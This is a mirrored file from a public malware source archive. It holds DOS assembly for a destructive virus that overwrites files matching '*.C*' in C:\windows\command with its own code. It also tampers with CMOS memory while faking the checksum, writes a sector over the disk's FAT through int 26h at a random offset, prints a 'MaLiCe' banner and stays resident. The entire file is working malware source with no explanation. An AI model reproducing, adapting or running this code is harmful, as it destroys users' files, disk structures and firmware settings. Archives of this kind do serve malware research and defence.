mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
177 lines
4.6 KiB
NASM
177 lines
4.6 KiB
NASM
|
||
.model tiny
|
||
.code
|
||
|
||
seg_a segment byte public
|
||
ASSUME CS:SEG_A, DS:SEG_A
|
||
org 100h
|
||
|
||
|
||
main proc
|
||
|
||
find:
|
||
mov ah,3bh
|
||
mov dx,offset win
|
||
int 21h
|
||
mov Dx,offset conn
|
||
mov cx,2h
|
||
mov ah,4eh
|
||
int 21h
|
||
next:
|
||
mov ah,4fh
|
||
mov dx,offset conn
|
||
int 21h
|
||
|
||
open:
|
||
mov ah,43H
|
||
mov dx,09Eh
|
||
mov al,0
|
||
int 21H
|
||
mov cl,0
|
||
mov ah,43H
|
||
nop
|
||
mov dx,09Eh
|
||
mov al,1
|
||
int 21H
|
||
mov ax,3d02h
|
||
mov dx,9eh
|
||
int 21h
|
||
write:
|
||
xchg bx,ax
|
||
mov cx,833
|
||
mov ah,40h
|
||
mov dx,100h
|
||
int 21h
|
||
close:
|
||
mov ah,3eh
|
||
int 21h
|
||
inc cntr
|
||
cmp cntr,5
|
||
jge message
|
||
call next
|
||
message:
|
||
mov ah,3bh
|
||
mov al,00h
|
||
mov dx,offset UP_ONE
|
||
int 21h
|
||
cmp ax,3
|
||
jne next
|
||
mov cntr,0000
|
||
|
||
C_MAN:
|
||
mov ah,09h
|
||
mov dx,offset who
|
||
int 21h
|
||
inc cntr
|
||
cmp cntr,65
|
||
jge fat_fuck
|
||
mov dx,cntr
|
||
xor bx,bx
|
||
mov bx,255
|
||
call CMOS_CHCKSM
|
||
|
||
CMOS_CHCKSM:
|
||
xor ax,ax
|
||
mov al,2Eh
|
||
out 70h,al
|
||
in al,71h
|
||
xchg ch,al
|
||
mov al,2Fh
|
||
out 70h,al
|
||
in al,71h
|
||
xchg cl,al
|
||
push dx
|
||
xchg dl,al
|
||
out 70h,al
|
||
in al,71h
|
||
sub cx,ax
|
||
add cx,bx
|
||
pop dx
|
||
xchg dl,al
|
||
out 70h,al
|
||
xchg al,bl
|
||
out 71h,al
|
||
mov al,2Eh
|
||
out 70h,al
|
||
xchg al,ch
|
||
out 71h,al
|
||
mov al,2Fh
|
||
out 70h,al
|
||
xchg al,cl
|
||
out 71h,al
|
||
call C_MAN
|
||
fat_fuck:
|
||
push dx
|
||
push bx
|
||
push cx
|
||
push ax
|
||
push bp
|
||
mov ax,0dh
|
||
int 21h
|
||
mov ah,19h
|
||
int 21h
|
||
xor dx,dx
|
||
call load_sec
|
||
mov bp,bx
|
||
mov bx,word ptr es:[bp+16h]
|
||
push ax
|
||
call rnd_num
|
||
cmp bx,ax
|
||
jbe alter_fat1
|
||
mov ax,bx
|
||
alter_fat1:
|
||
xchg ax,dx
|
||
pop ax
|
||
mov cx,1
|
||
int 26h
|
||
add dx,bx
|
||
int 26h
|
||
pop bp
|
||
pop ax
|
||
pop cx
|
||
pop bx
|
||
pop dx
|
||
CALL JUST_TO_MAKE_IT_WORSE
|
||
|
||
load_sec:
|
||
push cx
|
||
push ds
|
||
push ax
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ax,0dh
|
||
int 21h
|
||
pop ax
|
||
mov cx, 1
|
||
mov bx, offset sec_buf
|
||
int 25h
|
||
pop ds
|
||
pop cx
|
||
ret
|
||
|
||
rnd_num:
|
||
push cx
|
||
push dx
|
||
xor ax,ax
|
||
int 1ah
|
||
xchg dx,ax
|
||
pop dx
|
||
pop cx
|
||
ret
|
||
JUST_TO_MAKE_IT_WORSE:
|
||
mov ah,31h
|
||
mov dx,7530h
|
||
int 21H
|
||
RET
|
||
sec_buf dw 100h dup(?)
|
||
win db 'C:\windows\command',0
|
||
conn db '*.C*',0
|
||
who db '<27> EvuLz MaLiCe <20>$'
|
||
cntr dw 0
|
||
up_one db '..',0
|
||
main endp
|
||
seg_a ends
|
||
end find
|